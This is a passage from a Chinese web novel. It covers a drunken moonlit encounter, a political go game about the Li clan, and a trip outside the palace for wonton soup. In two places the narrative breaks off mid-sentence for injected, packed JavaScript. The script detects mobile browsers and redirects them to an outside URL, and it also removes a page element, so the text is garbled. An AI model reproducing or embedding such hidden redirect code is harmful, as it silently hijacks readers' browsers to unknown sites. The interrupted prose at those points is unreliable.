回到林学院时刚好亥时,武霜问她住哪,她回忆了一下,道:“门上有个‘宁’字。” 武霜一听就知道是哪间了,道:“你跟白鹤行住一间啊。” 李砚书想起白日里看到的那张异常整洁的床铺,原来是她的,又一想,果然是她的床铺。 武霜带她到房门口,想是突然想起了什么,低呼了一声。 “怎么了?”李砚书问道。 武霜道:“哎呀!明日再跟你说吧,现在一句两句的也说不清,你快些休息,明早我来找你!” 说完,武霜就要外走。 “等等——”李砚书叫住她,“学院里有庖屋吗?” 武霜猛地停下,一听立刻了然,给她指道:“这边右转,一直走就是了。” 说罢,再次急匆匆提步离开。 李砚书赶紧道:“多谢!” 武霜冲她摆摆手,已经走出去了又折回来,在转角处探出个头,道:“对了,庖屋旁有个小屋子,若是庖屋里没吃的,可以去那里找找。” 说完,再次匆匆而去。 李砚书眨眨眼,手指悬在空中顿了顿,道:“……多谢。” 19. 夜语 李砚书转身推门,白鹤行还没有回来。 门敞开着,今夜月色尚可,李砚书进去时就没点蜡。往里走了几步,她才发现,她的床已经被人铺好,包袱依旧放在原处。 想了想,李砚书转身出去关上门,沿着武霜指的路走。 路上经过两个房间,里面点了蜡,隐约可以见着一个身影晃动和微小的话声。 约莫一刻钟后,李砚书停下脚步。 庖屋门虽敞开着,但里面黑漆漆的,没有人,倒是一旁的木屋里闪烁着微弱的烛光。 李砚书只思考了一瞬,便提步进到一旁的木屋。 木屋里面只有一张半人高的小木桌,上面放着一个用荷叶包着的东西,旁边还挨着一壶酒。 李砚书打开荷叶,惊讶里面竟然是一整只烧鸡!她心道:“这吃法新鲜啊!” 随着荷叶打开,鸡肉的香味扑面而来,李砚书舔舔嘴唇,迫不及待地撕了一个腿下来,鸡肉还有些烫嘴,囫囵几口咽下,李砚书不由得暗呼——香! 李砚书嘴里吃着鸡,又把目光放在了那壶酒上,直接壶口对嘴接了一小口,淡淡的,入口绵绵唇齿留香,不像是酒,可李砚书也说出是什么,觉得好喝,便又喝了几口。 觉得这样吃乏味,她一手抱着鸡,一手拎着酒,开始在月色下漫无目的地寻找心仪地。 就这样,李砚书随感觉走走停停,来到一处木梯下。 李砚书仰头看了看,不算很高,木梯下面用两个粗木桩子固定,看样子很结实。酒壶她用抱鸡的那只手手指勾着,单手爬了上去。 结果上去后,她就觉着自己喝醉了。 ——她又见着了那个似神仙般好看的人! 他就站在那里,静静地看着她。 四目相接,清风徐来,吹散了几分醉意。李砚书舌头打结,挪了一步,憋半晌才憋出一句:“你真好看……” 说完,酒气上涌,接着打了个嗝。 …… 李砚书赶紧捂嘴,才发现自己手上还有一只鸡,于是,她下意识伸出手,慷慨地道:“你吃吗?” 静了少顷,武信缓缓道:“……不吃。” “哦。” 李砚书尴尬地收回手,想要找些话说说,那些乱七八糟的话在脑子里过了一遍,又不知该如何开口。憋了半晌,只道:“那你喝酒吗?” 此话一出口,李砚书就再次闭上眼,在心里奔溃咆哮:“李砚书!你这都问的什么啊!!!” 就在李砚书绞尽脑汁想挽回之词时,武信却道:“嗯。” 李砚书恍惚道:“哈哈,我就问问,不喝就……嗯?” 接下来,李砚书就眼睁睁看着他朝自己走近,再朝自己伸手,拿走了酒壶。 一阵风来,李砚书如梦初醒,将才问出今夜第一句有用的话。 “我叫李晗,你叫什么?” 武信看她一眼,道:“我知道。” 李砚书显然脑子还没完全到位,她接道:“你怎么知道?” 很快,她就想到,今早她已经自报过家门了。 李砚书懊恼地想,这酒真厉害,才几口她就醉得摸不清东南西北了。 武信没有回答她这话,沉默须臾,他道:“你醉了。” 李砚书连连摇头,脑中愈加混沌,觉得他的声音仿佛也带了某种诱惑人心的能力,可以穿过风,穿过皮肉,直抵人心。她毫无抵抗的,只能近乎狡辩地道:“没,我没醉,我没喝多少,就只喝了一点点……” 风带起武信的衣袍肆意挥张,月色下的人影更显朦胧,他的声音也散在风中,道:“回去吧,明日你会知道的。” 话落,他转身,手里拎着酒壶,很快消失在李砚书的视线中。 李砚书愣愣看着,在某一刻突然回神,匆匆追上去,阶上却早已没了人影。 临窗。 元鸿今似随意地下了一子,随即抬眸看向她对面的白鹤行。 白鹤行落子,提子,眉宇冷冽,眼神沉郁,不像是在下棋,更像是在与人生死博弈。 元鸿今执黑子落定,原本逆势的局面因为这一颗棋子死而复生。 仔细看棋面就会发现,这盘棋与今日白鹤行在课上下的那一局一模一样。 她们在复盘今日的棋。只是这次白鹤行的对手换成了元鸿今。原本在这一步时,她的对手已然落败,只是经元鸿今这一手,这盘棋又活了过来,且逆势扭转。 白鹤行紧抿着唇,指尖白子犹豫不决。 元鸿今却道:“三年前,李阿鼎带兵出征殷虚,如今凯旋加冕,三年前我不让你说,今日说说罢。” 白鹤行微怔,白子落定。少顷,她声音平静道:“一人得道,鸡犬升天。” 黑子接着落定,元鸿今没有接话。 白鹤行捏起一颗白子在指尖摩挲,接道:“木秀于林,风必摧之;堆出于岸,流必湍之;行高于人,众必非之。【1】若是三年前李阿鼎没有出征殷虚,而是交出兵符,急流勇退,李氏一族或许还有一线生机。此次百姓跪迎,就是契机,陛下没有过问,不代表这件事在陛下那里就不存在。有时隐而不发,远比雷霆之怒更加可怖。将欲弱之,必固强之;将欲废之,必固举之。【2】” 白子落定,提子。 元鸿今抬起头,“所以,此局再无转圜?” 白鹤行垂眸,再次落子,围掉黑子最后一口气。 “是。” 元鸿今落子,接道:“李阿鼎屡战屡胜,得到功勋的同时也在不断失去,他的兄弟,战友,妻子,儿子,女儿都在离他而去。元安圈养着沙场的狼,试图将其驯养成看家的狗,狠不狠是其次,重要的是听话。” “骏马载回归山的虎,猛不猛是其次,重要的是羁绊。” 白子落定。 “汉州迎来加冕的王,赢不赢是其次,重要的是名声。” 黑子落定。 白鹤行看向元鸿今,道:“老师,您还漏了一人。” 白子落定。 “她……”元鸿今斟酌了下,才道:“意料之外。” 白鹤行放在棋子上的指尖顿了顿,不解,“为何?此人,不是在老师意料之中?” 一月前,殷虚消息一传来,元鸿今就将李晗的名字加进了棋局之中。 “渭阳边陲小镇,气候恶劣。且西临吐藩,北上金川,群狼环伺,三十年都未曾出过名仕新贵,虽有渭阳王异军突起,却也始终是一枝独秀,难以支撑。”元鸿今道,“渭阳王军善战,是因为环境造就勇士,时势造就英雄,他们没有选择,没有退路,只能厮杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521315|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。李眭在殷虚一战中,大放异彩,独占鳌头——实乃,愚蠢至极。殷虚积弱已久,俎上鱼肉,必然之势。倘若李阿鼎够聪明,眼光放得长远些,都不会允许李眭做这个出头鸟。做了也就罢了,偏偏还留下了祸根。百足之虫死而不僵,来日再起,渭阳李氏就是第一个刀下鬼。” 黑子落定。 “祸根?”白鹤行想了想,“老师是指阴虚太子?” 元鸿今点头,道:“他还活着,就证明陛下没有杀他之心。他活,殷虚活。殷虚活,天下局面依旧没有变化。陛下要的不是灭国,而是天下各国俯首称臣,征服,讲的是一个‘面’字。而他国君王又何尝不是,李眭大可以杀了殷虚太子,可他心‘慈’,选择了生擒。这对一个国家,一个君王来说是莫大的屈辱啊!试问天底下又有哪个君王愿意受此大辱,他们得知此事后,又会怎么看待李氏父子?月满则缺,水满则溢,李氏又何尝不是下一个‘殷虚’。” 元鸿今说到这里忽然停住,接前面所说的,转道:“我先前说意料之外,是因为我在昨晚得到了一个消息。李晗在来的路上,途径雍州时还做了一件事。” 白鹤行落子,抬眸看向元鸿今。 元鸿今执棋随后落下,沉声道:“唐家镇有人为长公主所用,以活人为引炼制丹药。李晗得知此事,直接带着韩良等人上唐家,杀了唐家家主。” 白鹤行皱了眉头,片刻后道:“他们并未跟陛下提起此事。” 烛火微微晃动,带着窗上的影子也晃了晃。 元鸿今看着白鹤行意味不明地轻笑了一声,接着落子,道:“是了。她或许不只是我们的意外,因为她,元安城里辗转难眠的人又多了几位。” “长公主筹谋多年,岂会容许有人破坏。”白鹤行落子,“而李晗是陛下牵制渭阳父子……” 说到这,白鹤行猛然一醒。 原来如此! 李晗是皇上牵制渭阳父子的绳子,只要李晗在元安一日,李氏就会收拢獠牙困狼为犬。若是李晗死了呢?先不说渭阳王军十万,就是祁连山驻扎的五万人,就可以撕开武朝与金川、吐蕃的一道口子。他们明知长公主的野心,最后还是选择沉默不语,将李晗留在了元安。他们是在向皇上表赤胆忠心,更是十几万渭阳王军在向皇上表忠心。 所以李晗撞破唐家一事就绝不是偶然,这里面有多少人推泼助澜,就有多少乱臣贼子。 白鹤行道:“李晗一死,边境必乱,长公主筹谋已久,必然不会放过这次机会。” 元鸿今轻轻落子,神情依旧从容。她道:“若是这般简单,武朝的天早就变了。” 白鹤行刚欲开口,视线扫过棋盘,瞳孔倏然一定——不知不觉间,黑子已经布好了局。 她看着眼前这局棋,呼吸急促了几分。 元鸿今没再看她,而是侧身推开窗,伸长了脖子,细细感受着晚间的凉风。 白鹤行举棋良久,最终投子认负。 原来看似已成定局的棋,也会输。 元鸿今坐回身,轻声道:“她破了迷阵,身后定有高人指点。渭阳不是一潭死水,这些年我们都忽略了她。子行,执棋的人不一定永远都在棋局之外。” 夜深了。 白鹤行骤然起身,朝元鸿今拱手,道:“学生受教。” 20. 与中 在原地悔恨万分的李砚书含泪吃完了整只烧鸡,没有酒,吃完不免觉得腻。于是她又折回小木屋,打算寻杯冷茶吃。 木屋里的蜡已经燃尽,李砚书借着月光摸索了一番,没有寻到冷茶。 一览无余的小木屋很快就打消了李砚书继续寻找的念头,沿着来时的路回去,刚过转角,她抬眼就看见原本黑灯瞎火的屋子里亮起了暖黄的烛光。 李砚书推门进去,果见白鹤行从书中抬头看向她。 李砚书心想,真用功啊,这么晚了还在看书。遂又想起武霜说的,李砚书不自觉地敛下目光,反手将门关上,遂道:“吾名李晗,表字砚书。” 闻言,白鹤行放下书,回礼道:“在下白鹤行。” 李砚书一听,立刻熟络道:“以后我们就是同窗……还是‘同寝’好友,你可以唤我砚书,也可以唤我阿书。” 她向前几步,身上散出些许酒气。 白鹤行微微欠身,眼中快速闪过一丝不悦,语气依旧平静道:“县主客气了,在下白衣之身,岂敢攀附县主高名。” 李砚书不以为意,接道:“你才是客气,我空有县主名头,若真论才略学时,恐及不上你十之一二。” 白鹤行面不改色地道:“在下惶恐。” 嘴上说着惶恐,面上却不见多少。 李砚书想着她们刚认识,也不着急,随即一笑,便去整理起自己的包袱。 往里掏了掏,掏出两个包子,足足有她手掌大,是今早素影特意给她蒸的。李砚书心想,幸好那会儿没有记起这两包子,不然就遇不到那人了。 她捧着包子回头,道:“你吃包子吗?可好吃了,是素影亲手做的。” 白鹤行看着李砚书手里的两个包子,无言半刻后,道:“多谢县主好意,只是夜已深,积食入睡恐不妥。” “怎会。”李砚书现下心情好,见到桌上有水,便过去坐下,就着水吃了。 “对了,学院的人你都认识吗?”李砚书问。 白鹤行抬起眼,道:“县主指谁?” 李砚书道:“我也不知道他的名字,不过,他长得很好看。” 白鹤行皱了皱眉,竟然思索起来,“可还有其它特征。” 李砚书喝了口水,想了想,认真道:“格外好看算吗?” 白鹤行:“……” 咽下最后一口包子,李砚书才听见白鹤行道:“县主,学院学子大都是豪门贵子,相貌出众者数不胜数,县主恕罪,在下实在不知县主说的是何人。” 李砚书道:“哦,这样啊,我就问问。没事,反正明日也能见到了。” 翌日。 李砚书睁开眼,白鹤行已经梳洗完毕,此时正坐在桌前温书。 察觉到动静,白鹤行偏头看她一眼,道:“县主起了。” 李砚书掩下内息混乱的不适,应了一声,赶紧起来穿衣梳洗。 等她坐下时,才发现桌上放着一碟包子和一碗粥。 李砚书当即明白这是白鹤行替她拿来的,便对她笑道:“谢谢你。” 白鹤行这次眼都没抬,只道:“县主客气。” 李砚书觉得白鹤行这个人很矛盾。她嘴上说着惶恐,恕罪,可人端坐在那,哪里有半分惶恐不安的样子。昨夜态度那般冷淡,今早见自己起迟了,也会一声不吭地帮她把早膳拿进来。 正想着,门就被人一把推开,武霜的声音随之响起:“砚书,今日是岑夫子的课,可不能迟到了。” 白鹤行起身行礼:“公主。” 武霜颔首,见李砚书还在用早膳,便在她对面坐下。 李砚书咽下粥,问道:“为何岑夫子的课不能迟到?” 武霜摸摸鼻头,不自然地道:“因为他打人手板。” 李砚书惊住,到嘴边的包子都不吃了。 打人手板?怎么跟她阿娘一样! “真打啊?”李砚书心有余悸地道。 怎么说武霜都是公主,夫子还真下得了手啊!? “不然呢,我还能哄你不曾!”武霜清了清嗓子,凑近了些,小声道,“岑夫子当年就是父皇的夫子,据说他连父皇的手板都打过。” 听完,李砚书惊得连嘴里的包子都忘了咽。下一秒,她粥都来不及喝完,就着急地拉着人往外走,嘴里不停地道:“快走快走。” 这哪是打手板啊,这简直是打在了李砚书的七寸上。 到了学堂,人几乎都来齐了。武霜给李砚书指了指她的座位,道:“你坐哪儿,白鹤行旁边。” 白鹤行坐在右边临窗的位置,李砚书走过去,与白鹤行对视一眼。桌上放着几本全新的书籍,她刚坐下,传说中打手板的岑夫子就来了。 李砚书随着众人起身,作礼道:“夫子。” 岑夫子手里拿着一柄厚重的戒尺,小小的眼睛里闪出如鹰般犀利的眼神,朝下扫视了一圈,随后满意地拂了拂白须,端身坐下。 李砚书只觉心死,低下头欲哭无泪。 这位连皇上都敢打,遑论她了。要是早知道来了元安还要进学堂学习,夫子还要拿戒尺打手板,她肯定就不来了。 “夫子。” 熟悉的声音响起,李砚书倏地抬头,眼睛一瞬不瞬地盯着那人看,像一株即将枯萎的小草,恰逢甘霖降下,又重新展出了新叶。 她的眼睛亮晶晶的,惹起了一旁白鹤行的注意。 顺着李砚书的视线看去,白鹤行当即明白了昨夜李砚书说的话——格外好看的人。 信皇叔,武信,字与中,乃武圣帝与昭仁皇后亲出。其模样更是继承了昭仁皇后与武圣帝的所有优点,只是昭仁皇后在生他时难产,这就导致了他先天身体孱弱,一直留在宫里养病。因此一直养在昭仁皇后膝下的三皇子,也就是现在的武明帝对他格外照顾,比对几个亲生的皇子都要上心。 岑夫子朝他点头。 武信落座,虽也是在第一排,却是离李砚书隔了好几个人。 李砚书望眼欲穿,恨不能现在就飞过去。 岑夫子注意到她,咳了一声,看向李砚书。众人瞬间随着夫子的眼神看去,李砚书毫无察觉,武霜小声叫她:“砚书!砚书!” 李砚书听见有人叫她,用了平生最快的速度反应过来,敏锐地看向岑夫子,见岑夫子正看着她,她立刻起身作礼道:“学生李晗,见过岑夫子。” 岑夫子摸上花白的胡须,点头道:“李晗。晗,欲明也。【1】你可有字?” 李砚书道:“回夫子,学生表字砚书。” “嗯。”岑夫子抬手示意她坐下,随后朝武信道:“与中,你先带他们温习一遍前日所学的内容。” 武信起身,道:“是。” 他翻开书,学子们也紧跟着翻开书,李砚书看了一眼白鹤行的书,找到《论语·八佾》那篇。 “孔子谓季氏,八佾舞于庭,是可忍也,孰不可忍也。【2】” 众人跟着读起来,读书声朗朗响起,岑夫子闭眼聆听,时不时点头以示肯定。 李砚书读着,脑子里却在想,原来他叫与中。 下学后,学生们陆续离开。 李砚书一个箭步冲到武信面前,笑道:“与中!” 武信抬眸看向她,脸上看不出喜怒。 武霜本在跟萧霂说话,瞄了一眼这边,顿时被看见的画面吓得倒吸一口冷气。当即冲过去要将李砚书拉走,赶紧赔笑道:“皇叔恕罪,砚书刚进宫什么都不懂。” 皇叔!? 能让武霜叫皇叔的,普天之下就只有一人,那就是圣祖皇帝与昭仁皇后最小的儿子,绥阳长公主的亲弟弟——武信。天下人也叫他信皇叔,整个皇宫,除去武明帝,就属他的身份最为高贵。 李砚书不由得佩服起自己来,她的眼光果然是顶好的! 武霜急得汗都要出来了,万一皇叔怪罪,她都要 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武霜看着她。 李砚书接道:“昨日学院门口就见过了,只是那时他没有说他的名字。” 武霜道:“昨日!学院门口?哦,我记起来了,昨日父皇找皇叔有事,他去了紫宸殿后才来的学院。所以你昨日就见过皇叔了?他跟你说了什么吗?” 此时的武霜浑然忘了之前的心惊胆战,开始好奇起来。 李砚书道:“他问我是谁,我说了,而后我礼尚往来也问他是谁,他没说,直接就走了。” 武霜惊道:“这事你昨日怎么不跟我说呢?!” 李砚书摊手道:“你也没问啊。” 武霜:“……” 李砚书道:“你方才拉住我作甚,我都还没和他说上话呢。” 武霜满头黑线,“平日里我们都不敢挨他太近,生怕出点什么事。结果你倒好,直接冲到他跟前去,你莫不是疯了!” 李砚书啧了一声,皱眉道:“那你们这不是孤立他吗!难怪他看起来不怎么开心的样子。” 武霜嘴角抽动,用尽毕生最大的涵养才冷静下来,咬牙道:“孤立?” 笑话,谁敢孤立信皇叔啊!这位可是父皇跟母后的掌中宝,平日里看得跟传国玉玺似的,莫说几位皇兄,就连她看见信皇叔都是恭恭敬敬的丝毫不敢造次。至于他看起来不怎么开心……自武霜有记忆起,信皇叔就一直是这幅表情,这么多年她从没见过信皇叔笑过,莫说笑,就连是皱眉,不悦这些表情都没有,像是雪山之巅的天晷,美好却又无法触碰。 武霜想了想,劝道:“砚书啊,元安还有许多长相俊俏的世家公子,我们再看看其他人呢。” 李砚书摇摇头,坚定地道:“那不行,我李砚书认定的人,绝不会改。” 白鹤行看向她那边,旋即又平静地收回目光,合上书,起身出去。 武霜见她油盐不进,只得说:“信皇叔身体不好,你注意着点,不然没人救得了你。” 李砚书问:“身体不好?” 难怪看起来脸色不好。 武霜顿了下,小声道:“信皇叔自小就身体孱弱,父皇请了无数名医都无济于事。” 李砚书眉间微皱,连元安这等卧虎藏龙之地都没办法治好他么? 武霜见她如此,忍不住又说了一句:“你现在后悔还来得及。” 岂料李砚书还是摇头,道:“世间名医无数,总还有希望的。” 武霜微怔,没想到李砚书竟然这般执着。她拍了拍李砚书的肩膀,叹道:“希望你能成功吧。” 李砚书冲她一笑,“多谢。” 武霜偏过头,道:“别谢我,我什么都不知道。” 佩服归佩服,她可不想卷入此事之中。 21. 馄饨 回到房里,李砚书着手写信,将这几日的所见所闻统统写下来,写到武信时手一顿,思索了一番,继而提笔道:“阿娘,砚书心悦一人,然他身体抱恙,女儿担心不已,不知登州蓬莱可有消息传回。” 最后一笔落下,白鹤行推门进来。 李砚书抬头看去,将信纸折好,塞进信封里,听白鹤行道:“明日礼射,县主早些休息。” 学林院不同于翰林院,整日与史书实政打交道。元鸿今接手学林院做的第一件事调整上课内容,将君子六艺重新拾起,学子辩论不再是结业的唯一标准,考核官也不再是一层不变的学院院长,而是每堂课的夫子。 就比如岑夫子,武明三年致仕,武明七年却入学林院就任夫子。没有人知道元鸿今是怎么说服他的,按理说这种两袖清风一心求学的老学究一旦隐退,便不会再出入庙堂惹人诟病。也正因为如此,才让朝堂上反对元鸿今任学林院院长一职的人全都哑口无言。 所谓文射,也叫礼射。武圣帝时期尤重其道,曾经通过举办此类比赛筛选过将军,都尉等,那时有不少寒门子弟弃文从武,苦练骑射。那些高门贵族家眷宴会时的压轴戏就是礼射,夺魁者在当时可是万众瞩目的存在,引领风尚潮流。因此到现在,许多高门显赫家的娘子们都会礼射。 李砚书一听明日不用再听岑夫子讲课,眼睛都亮了,笑嘻嘻地道:“这样啊,今日还早,不如我们找点好玩的玩玩!” 白鹤行已经坐下,闻言看向她,眸中带了一丝不解,“……好玩的?” 李砚书也不见外,走过去径直在她身旁坐下,一只手要搭上她的肩。 白鹤行低头看去,微微皱眉,这位广明县主仿佛不知道分寸二字怎么写。 正常人看到她露出这种神态,就会立刻撤手,再说抱歉,就算再不济也会不动声色收回手。可李砚书现在正在兴头上,满脑子都是明日不用再看见岑夫子的喜悦中,丝毫没有发现白鹤行的异常。 在李砚书的认知里,她们既然都是同寝好友了,搭个肩怎么了? “是啊,难不成要在房里呆到明日上学吗?”李砚书道,“我刚来也不知道这里有什么好玩的地方,你知道吗?” 李砚书搭在她肩上的手指还适时跳动两下,白鹤行极力忍耐,半晌,才艰难道:“不知。” 对于白鹤行不知道这件事李砚书也不奇怪,白鹤行这种人一看就是夫子眼中的香饽饽,长辈眼中的乖孩子,若是在渭阳,肯定是阿娘口中别人家的孩子。 想了一下,李砚书双手一拍,骤然起身道:“无双肯定知道,我们去找她!” 那只手终于从自己身上起开,白鹤行默默往右边挪了一点,道:“县主去吧,岑夫子今日所讲在下还有一些不通,就不随县主去了。” 如果是有其他事不能去,李砚书就允了。可偏偏是她要留下来温习功课,这李砚书忍不了。 二话不说,她直接拉起白鹤行的手,趁人半愣半惊间将她强行带出了门。 李砚书边走边劝,试图让人“改邪归正”。 “真不是我说你,整日里闷在房里读书,人是会读傻的!还有你昨夜频繁揉后颈,一看就是长时间匍匐案前所致,这样可不行,等以后年纪上来了,可是要遭罪的。” 之前有段时间她迷上了各种志怪小说,看得不亦乐乎废寝忘食,常常一坐就是一天,后面脖颈酸痛,到了要请郎中的地步她才感到害怕。今日她将郎中说的话原模原样地讲给白鹤行听,顺带也悄悄体验了一把训人的滋味。 白鹤行抿着唇走神,被迎面走来的武霜的声音拉了回来。 “我正要去寻你呢。”武霜见白鹤行也在,微微诧异,“你们这是要去哪?” 李砚书笑道:“巧了,我们也正要去找你。” 白鹤行抽回手,对武霜及她身后的人行礼:“无双公主,萧世子。” 萧霂缓缓颔首。 李砚书这时才发现他。 武霜道:“这位是萧霂。” 李砚书朝萧霂颔首,道:“萧世子。” 萧霂同样微微颔首,语气平静道:“广明县主。” 说起来李砚书算是他的仇人,因为十三年前,正是李阿鼎带兵一举打败金川,这才让这位原本可以享一世荣华的金川五皇子变成了今日寄人篱下,受制于人的金川萧世子。 虽是世子,可在元安,这个头衔却不顶什么用,甚至可以说是一无是处。萧霂今日能这般平心静气地同李砚书讲话,实在有些出人意料。 武霜赶紧道:“你找我作甚?” “玩啊。”李砚书提步往前走,神色无异。 武霜这才放下心来,接道:“巧了,我正是来你去玩的。” 都到这了,白鹤行也不得不跟着她们继续往前走,就听前面李砚书起劲地问:“去哪玩!” 武霜一脸神秘地道:“到了你就知道了。” 一听李砚书更起劲了,回过头对面无表情的白鹤行道:“你看,我就说无双知道好玩的地儿吧。” 武霜听见朝白鹤行看了一眼,疑惑李砚书怎么跟她关系一下这么好了。 白鹤行回:“是。” 她现在无比后悔今日为何要回那么早。 “白鹤行,今日你跟我们一起去玩,之后可不许告诉元先生哦。”武霜道。 李砚书道:“怎么会,白鹤行一看就不是那种会背后告状的人,你说是吧,阿行。” 面对李砚书对自己这份毫无缘由的信任,白鹤行只得道:“公主放心,今日之事,在下定会守口如瓶。” “阿行?”武霜噗呲一下笑出声,头一回听见这种叫法,对李砚书道,“这是你们渭阳那边的叫法么?” “是啊。”李砚书也笑了,“你若是不介意,我也可以唤你阿霜。” 武霜连忙摇头,笑道:“不了,砚书你还是唤我无双吧,听习惯了,一下子唤我阿霜,哈哈哈……我觉得怪怪的。” 白鹤行这时也道:“县主,在下草字子行。” 李砚书道:“子行?听着像是自行,怪冷清的,还是叫阿行好听些。而且只我一人唤你阿行,这样才显得我的特别啊,一听就是我们的专属称呼。” 武霜咦道:“还专属称呼,砚书你怎么不跟我有专属称呼呢。” 李砚书笑道:“方才说了唤你阿霜你又不肯,现在吃味,晚了。” “好你个李砚书,竟然敢作弄我。” 武霜扑上去,作势要打人,李砚书笑着躲开,立时鸡飞狗跳。 白鹤行与萧霂对视一眼,无奈跟上。 武霜所说的好玩的地儿,李砚书其实有诸多猜想,譬如花园,戏阁之类的,左不过是在宫里。然而令她没想到的是,武霜口中好玩的地儿竟然是在宫外! 看着面前似曾相识的木梯,李砚书不由问道:“这梯子是皇宫专属吗?” 武霜正爬到一半,闻言停下道:“什么专属?” 李砚书咽下疑惑,道:“没什么,你看着点脚下。” 来的路上李砚书仔细看过,这处的墙相较于其它地方而言要低上许多,且位置偏僻,鲜少有人来,因此也成了武霜她们翻墙出去的绝佳场所。 几人相继翻墙。落地后,李砚书往四周环顾了一圈,不确定地问道:“这是宫外吗?” 怎么看着一点都不像呢? 武霜理着袖口,头也没抬地道:“不是啊,这里是东宫。” 李砚书惊道:“东宫!” 白鹤行与萧霂面上倒是淡定。 武霜道:“皇宫的墙哪是那么好翻的,也正是因为这里与东宫相邻,且如今东宫无主,所以平日里才没有侍卫过来巡逻,不然我们哪能这么轻易出来。” 话是这么说,可她们出来的还是太过顺利,像是被人安排好的一样。 东宫布局其实与皇宫差不多,武霜带着她们熟练地穿过几条官道,来到一扇小门面前。其实在这里就隐约能听见一些外面的声响,似小贩吆喝,又似行人杂话,纠缠不清。 出去亲眼一看,竟真是一条热闹的巷子。 巷子不算宽,恰好能容纳左右两边的小摊,行人行走期间衣袖肩膀免不了碰撞。武霜拉着李砚书的手,李砚书就去拉白鹤行的手,三人来到一个小摊前,武霜熟练地道:“老板,四碗馄饨。” 她又转过头来问李砚书,“可有什么忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521317|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的?” 李砚书道:“没有。” 武霜又看向白鹤行,白鹤行立即道:“没有。” 武霜才又对老板道:“一碗不要辣!” “好嘞,几位稍等啊,馄饨马上就好。”老板高声道。 李砚书道:“你经常来啊?” 武霜率先坐下,道:“也不算吧,就是每回觉得宫里的膳食吃腻了,就出来尝尝鲜。” 听见这句,李砚书就肯定,武霜翻墙出来的事皇上与皇后绝对已经知晓,只是因为宠爱这个女儿,所以才睁只眼闭只眼没有戳破她罢了。 李砚书坐下,想起她方才那句,随口问道:“你不吃辣吗?” 武霜道:“不是我,是萧霂不吃。” 这话惹得李砚书跟白鹤行同时朝萧霂看去。 萧霂朝她们儒雅一笑。 李砚书没再问了。 不一会儿馄饨就上来了,上面还铺了一些绿色菜叶,李砚书不知道是什么,夹起一筷放进嘴里,下一秒就皱起了眉头。 武霜与白鹤行看向她,武霜关切道:“这是芫荽,你吃不惯么?” 李砚书皱着一张脸,道:“味道好奇怪。” 武霜又道:“母后也不喜欢吃芫荽,说是味道奇怪。” 李砚书将芫荽挑出,又喝了一口汤,压住了那股奇怪的味道。 武霜道:“这芫荽挑人,喜欢吃的人如食珍馐,不喜欢吃的人就觉得难以下咽。” 李砚书心有余悸,笑道:“那我就是后者。” 吃着馄饨,李砚书突然道:“哎,你是怎么发现这儿的?” “偶然。”武霜吹了吹热气腾腾的馄饨,“有一次逛到门后时,恰逢这的老板吆喝了一声。” 李砚书抬眼从一片白雾中眯眼打量了一会儿馄饨老板。东宫常年无主,殿里打扫的奴才们自然也会懈驰,再加上转街就是东市,城内巡防兵一般也不会过来这边,占尽天时地利,所以这里也成了这类小贩生存的绝佳场所。 只是可惜这离王府甚远,不然她还能回去看看素影与骨衣。 翌日。 李砚书这次倒是没再睡过头,白鹤行那边一起,她就跟着起身。一番梳洗后,她们来到礼射场。 “广明县主。”董原示礼道。 李砚书一顿,没想到这宫里还有人会主动跟她讲话。 董原随即自报家门,“家父京兆府尹董酺。” 这般李砚书便明了了。京兆府尹这个位置不同于其它位置那么分工明确,不仅元安大小事务都要经由他手裁定,就连一向严谨的大理寺审案也要与他商榷,对于冤案,京兆府尹有权予以平反。然这些都不是最重要的,最重要的是,他还掌管着京畿地区的盐铁事务。 李砚书回礼道:“原是董二公子,失敬。” 董原道:“县主客气。” 说完,他对白鹤行微微颔首,信步走开了。 李砚书与白鹤行对视一眼,也无声继续往前走。 礼射场在昭德殿后面的一大块空地上,这里原先是武库,后来新皇登基,将武库挪去了武德殿后方,这里就搁置了下来。前些年元鸿今入学林院,就将这块地讨来做了礼射场。除增加许多箭靶外,大体格局没怎么变,左右两边还能看到从前喂养官马的石槽。 武霜喘着气跑来,李砚书忙扶住她,道:“怎的这般着急,你也睡过头了?” “不是。”武霜平复了下呼吸,道:“我在来的路上遇着二皇兄了,他说,他说回鹘士兵在武朝境外五十里地大量集结,意图举兵。” 李砚书心下一沉。 白鹤行在一旁自然也听见了,她道:“县主,礼射要开始了。” 李砚书看向她,刹时冷静下来。 回鹘因地势原因,紧挨在武朝、金川、党项之间,素以和为贵,谁都不得罪。同时回鹘也因为这奇特的地理优势,即使国小兵弱,也使得周围各国即便眼馋也从没人敢真的下手,不是因为回鹘国力有多强,而是因为回鹘早在武圣年间就归顺了武朝,匍匐其羽翼之下。 “诸位——” 一道人声喊道,“奉车都尉宋承,负责诸位今日礼射。” 22. 礼射 竟是宋承。 李砚书收回目光,随白鹤行来到案前,随手挑了一把弓,掂了掂,很轻。 “规则还跟往常一样,挑战完成者,就可离开。”宋承在高台上道。 李砚书回头问白鹤行,“什么挑战?” 白鹤行道:“看见那些箭靶的位置了吗,依次往后,每次礼射课须得射中红心才算成功。一堂课最少一个,越往后越难,但是只要能射中最后一个靶心,礼射就算完成,以后礼射就可随意去留。” 武霜见她们在交谈,走过来一听,补充道:“你别看最后一个只有百米,但它会移动!” 